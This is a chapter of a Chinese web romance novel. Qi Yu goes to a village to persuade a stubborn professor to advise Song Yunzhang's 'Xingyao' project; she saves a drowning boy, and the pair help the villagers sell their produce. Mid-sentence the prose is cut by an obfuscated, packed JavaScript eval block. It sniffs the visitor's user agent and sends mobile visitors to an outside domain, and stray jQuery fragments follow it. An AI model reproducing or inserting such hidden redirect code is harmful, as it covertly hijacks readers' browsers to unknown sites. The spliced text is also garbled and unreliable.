王秘书刚送完资料从办公室出来，便对上了好几双好奇的眼睛。


    “宋总和秦小姐在里面做什么呀？”


    王秘书挥了挥手，示意大家都散开，别那么八卦。


    “不要胡乱打听了。我们只要做好自己的工作就行了。”


    大家口中的秦小姐，其实就是齐语。


    之前王秘书询问她贵姓，齐语一时没反应过来，直接回答：“姓齐。”


    结果王秘书听成了“秦”，齐语也意识到不能暴露真名，干脆将错就错。


    总裁办公室里，齐语坐在宋云章为她准备的办公桌后，面前摊开着厚重的专业书籍和写满笔记的本子。


    室内很安静，只有翻动书页和文件的沙沙声，以及敲击键盘的清脆声响。


    这种静谧的氛围被一阵轻微的敲门声打破，项目经理硬着头皮走了进来。


    他知道宋总现在随身跟着一个女孩，还在办公室里给她腾了一个位置。所以敲门前他有些胆战心惊，怕自己会不会打扰了什么。


    结果他看到那个被传是替身的女孩子，根本看都没看他，而是一头埋进了书海里。


    他松了口气，又觉得这场景有些奇怪。直到宋云章重重咳了两声，他才回过神来，声音清晰地汇报着工作进展。


    “宋总，关于‘星曜’项目的总顾问人选，我们再次联系了陈继安教授，但他……依然婉拒了我们的邀请。”项目经理的语气带着一丝不易察觉的无奈。


    齐语翻书的动作微微一顿，注意力不由自主地被谈话吸引过去。


    她虽然不太懂商业上的具体运作，但“星曜”这个词最近出现的频率不低，她能感觉到宋云章对这个项目的重视。


    宋云章靠在椅背上，手指无意识地轻点着桌面，眉头微蹙：“理由？”


    “陈教授说，他年纪大了，只想在乡下过点清静日子，不想再掺和这些纷繁复杂的事务。”项目经理顿了顿，补充道：“我们这边尝试接触了三次，开出的条件一次比一次优厚，但陈教授态度很坚决。”


    “另外，据我所知，业内其他几家有意向的公司，也都碰了钉子，陈教授谁的面子都没给。”


    宋云章沉默了片刻，指尖在桌面上敲击的节奏一顿，显示出他内心的考量。


    “知道了。项目前期筹备照常进行，陈教授的事……再想想其他法子。”


    项目经理应声退了出去。


    办公室重新恢复安静，但齐语却有些看不进书了。她偷偷抬眼看向宋云章，他依旧维持着之前的姿势，目光落在电脑屏幕上，侧脸线条显得有些冷硬。


    她能感觉到他身上散发出的那种被棘手问题困扰的不悦。虽然他什么都没说，但她就是知道，他在为那个请不动的陈教授烦恼。


    趁着他去开另一个会议的间隙，齐语磨磨蹭蹭地走到王秘书旁边，假装好奇地打听了几句。


    王秘书知道她和宋总如今关系正火热着，再加上这在公司已经不是什么机密了，便简单说了说陈继安教授在业内的地位和出了名的固执难请。


    齐语心里有了计较。


    几天后，她按照打听来的地址，辗转来到了距离市区几个小时的乡下。


    村子坐落在山下，空气清新，但条件比较简陋。她一路打听，终于找到了村里唯一的小学，也见到了正在给孩子们上简单科普课的陈继安教授。


    老人穿着朴素的中山装，头发虽然花白，精神却矍铄。


    在听完齐语磕磕绊绊地说明来意后，他只是掀了掀眼皮，语气硬邦邦的：“小姑娘，你回去告诉那位宋总，我老头子半截身子入土的人了，如今只想在这儿教教孩子，图个清静。外面那些争名逐利的事情，就别再来找我了。”


    无论齐语如何劝说，可老人就像一块捂不热的石头，摆摆手，直接把她打发走了：“赶紧回去吧，城里姑娘细皮嫩肉的，别在这儿待着了。”


    齐语失落地走出学校，心里堵得难受。本来想帮帮宋云章，结果还是没能办成事。


    她沿着村边的小路往前走着，耳边是潺潺的流水声。就在这时，一阵急促惊慌的孩童哭喊声传来：“救命啊！小虎掉河里了！”


    齐语心里一紧，循声望去，只见不远处的小河里，一个孩子正在水中挣扎扑腾，岸边几个小孩吓得大哭。


    她来不及多想，扔掉身上的包，踢掉鞋子，毫不犹豫地跳进了冰凉的河水中。


    河水不深，但水流较急。


    齐语奋力游到孩子身边，抓住他的胳膊，艰难地将呛了水的小男孩拖上了岸。


    她自己也浑身湿透，冷得直打哆嗦。


    孩子们吓得脸色发白，哭声引来了村民。很快，一个衣着朴素的年轻妇人惊慌失措地跑过来，一把抱住惊魂未定的孩子。


    “小虎，你这孩子！我不是跟你说了不要下河玩吗？！”


    她连声对齐语道谢，眼眶都红了。得知齐语是外来人，又看到她还为了救孩子，浑身都湿透了，妇人过意不去，连忙邀请她去家里换身干衣服。


    妇人家境清贫，但收拾得很干净。她找出一套自己干净的旧衣服给齐语换上，又倒了碗热水给她驱寒。


    交谈中，齐语得知妇人叫王娟，是村里小学的代课老师之一，丈夫早年外出打工出了意外，她一个人带着儿子小虎生活。


    “小姑娘，看你不像我们村里人，怎么到这儿来了？”王娟好奇地问。


    齐语捧着温热的水碗，叹了口气，把自己来找陈继安教授却被拒绝的事情简单说了。


    王娟听了，露出理解的神色：“陈教授啊，他就是那个脾气，倔得很，认准的事十头牛都拉不回来。村里人都知道他是有大本事的人，以前在城里可厉害了。不过……”


    她话锋一转，压低了些声音，“我跟他打过交道，他也就是嘴硬心软。你是不是真心实意，他都是看在眼里的。你再试试，别轻易放弃。”


    王娟的话让齐语有了新的想法，


    她看着窗外的天色，此时已经临近黄昏，晚霞蜿蜒至天际。


    她拿出手机，给宋云章发了条消息：「宋云章，我打算在村子里再待一阵子，别担心。」


    消息发出去没多久，手机就响了起来，是宋云章的直接来电。


    齐语接起，那边传来他低沉而带着关切的声音：“为什么不回来？是出了什么事吗？”


    齐语心里一暖，简单解释了一下救人和暂时留下的决定，略去了被陈教授断然拒绝的细节，只说自己还想再试试。


    听出齐语态度坚决，宋云章在电话那头沉默了几秒，最终叮嘱道：“注意安全，随时保持联系。需要什么告诉我。”


    齐语救人的事迹当天就在村子里传开了。


    加上王娟老师的引荐，她顺理成章地以爱心志愿者的身份留在了村小学，帮忙照顾低年级的孩子，辅导作业。


    孩子们都很喜欢这个温柔又好看的新老师。


    陈继安教授照常来上课，看到齐语时愣了愣，随后便对她的存在视若无睹，偶尔目光扫过，也带着审视和怀疑。


    他大概猜到了齐语留下来的目的。不过他认为这个城里来的姑娘看着娇滴滴的，恐怕吃不了几天苦就会自己离开。


    然而，齐语不仅留了下来，一天下来还做得有模有样。她不怕脏不怕累，给孩子们洗手洗脸，耐心解答他们幼稚的问题，笑容真诚而温暖。


    只不过齐语没想到的是，隔天早上，一辆与村子格格不入的昂贵越野车，出现在了村小学的土操场边上。


    宋云章推门下车，一身休闲装束也难掩出类拔萃的气质。他目光扫过，很快锁定了正在带着孩子们玩老鹰捉小鸡的齐语。


    四目相对，齐语愣了一下，随即跑了过去，脸上带着惊喜：“你怎么来了？”


    宋云章很自然地伸手拂去她发梢沾上的草屑，眼神深邃：“你来这里是为了帮我，我总不能做个甩手掌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528342|185867||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    柜，把事情全都交给你一个人做。而且……”他顿了顿，声音低沉了几分，“我想见你。”


    他留了下来，和齐语一样，住在村民空置的房子里，房子主人这几年一直在外面打工。


    齐语以为宋云章会不习惯这样的生活，毕竟这里条件太简陋了，


    可宋云章却表现得一切如常。


    “我想起了以前和你一起回外婆家的场景。”


    虽然外婆所在的村子比这里条件好上不少，但它们都同样洋溢着一种质朴简单的氛围。


    在村子里，村民们种植的蔬菜瓜果品质很好，但在往外售卖时，总是被前来收购的商贩拼命压价，利润微薄。


    村民们也知道价格不公平，但苦于没有其他销售渠道，只能忍气吞声，总比让菜都烂在地里好。


    宋云章注意到了这个问题。


    在一次晚饭后，他和几位村里长辈闲聊，突然提出了一个想法：“如果产品质量稳定合格，我可以帮你们联系人，直接来村里定点采购，按照市场公允价结算。”


    宋氏旗下的产业涵盖了多个领域，自然也包括了生鲜。


    这话一出，在场的几位老村民都愣住了，随即脸上露出了难以置信的激动神色。


    这意味着他们辛苦劳作的成果，终于能卖上一个公道的价钱了！


    消息很快传开，村民们对宋云章和齐语的态度更加热情和感激。


    然而，陈继安教授对此依旧不置可否。


    面对宋云章偶尔礼貌的拜访和探讨项目问题，他也多是沉默以对，或者用几句硬邦邦的话搪塞过去，仿佛对外界的一切都不为所动。


    宋云章并没有气馁，他一边通过远程处理公司事务，一边留在村里，真真切切地帮着协调第一批农产品外销的具体事宜。


    齐语则继续在学校帮忙。


    两人看起来操劳个不停，却似乎比在城市里更多了几分活力。


    第一批经过宋云章联系渠道销售出去的农产品，很快为村民们带来了实实在在且远超以往的收益。


    村民们脸上洋溢的笑容是前所未有的灿烂。


    这天傍晚，陈继安教授站在学校门口。他看了眼操场上和孩子们一起踢毽子的齐语，又望向不远处正和村长商量着下一步如何建立稳定合作渠道的宋云章。


    夕阳的余晖给他们的身影镀上了一层温暖的金色。


    他沉默地看了很久，看着这两个年轻人这些日子以来的任劳任怨，也看着他们为这个村子带来的切实改变。


    他们眼底确实带着真诚和坚持，而非是他想象中急功近利的算计。


    第二天一早，陈继安教授主动找到了他们暂住的地方。


    老人依旧板着脸，但眼神不再像之前那样冰冷排斥。


    他把一个牛皮纸文件袋递给宋云章，声音还是硬邦邦的，却带着一种尘埃落定的意味。


    “这是我对‘星曜’项目前期框架的一些的想法，还有我列出的几个关键难点和可能的技术路径。拿去吧。总顾问……我老头子就勉为其难，挂个名吧。”


    宋云章和齐语对视一眼，都在对方眼中看到了惊喜和如释重负。


    “不过……”陈教授话锋一转，目光扫过他们，“我人还是留在这里，要是有什么事，你们再派人过来谈。我这把老骨头，可经不起来来回回的颠簸了。”


    “当然，一切以您的意愿和方便为准。”宋云章立刻应下，语气郑重而尊敬，“非常感谢您，陈教授。”


    陈教授哼了一声，没再多说，背着手，踱着步子离开了。阳光洒在他不再挺拔却依旧倔强的背影上，仿佛也柔和了许多。


    旁边，齐语正在小声解释道：“听说陈教授以前也做过一些项目的顾问，结果发现对方只是想利用他的名气赚钱而已，根本没打算认真做科研。所以陈教授决定以后都不再做顾问了。”


    她拍了拍宋云章的肩：“不过现在看来，他是认可你的。”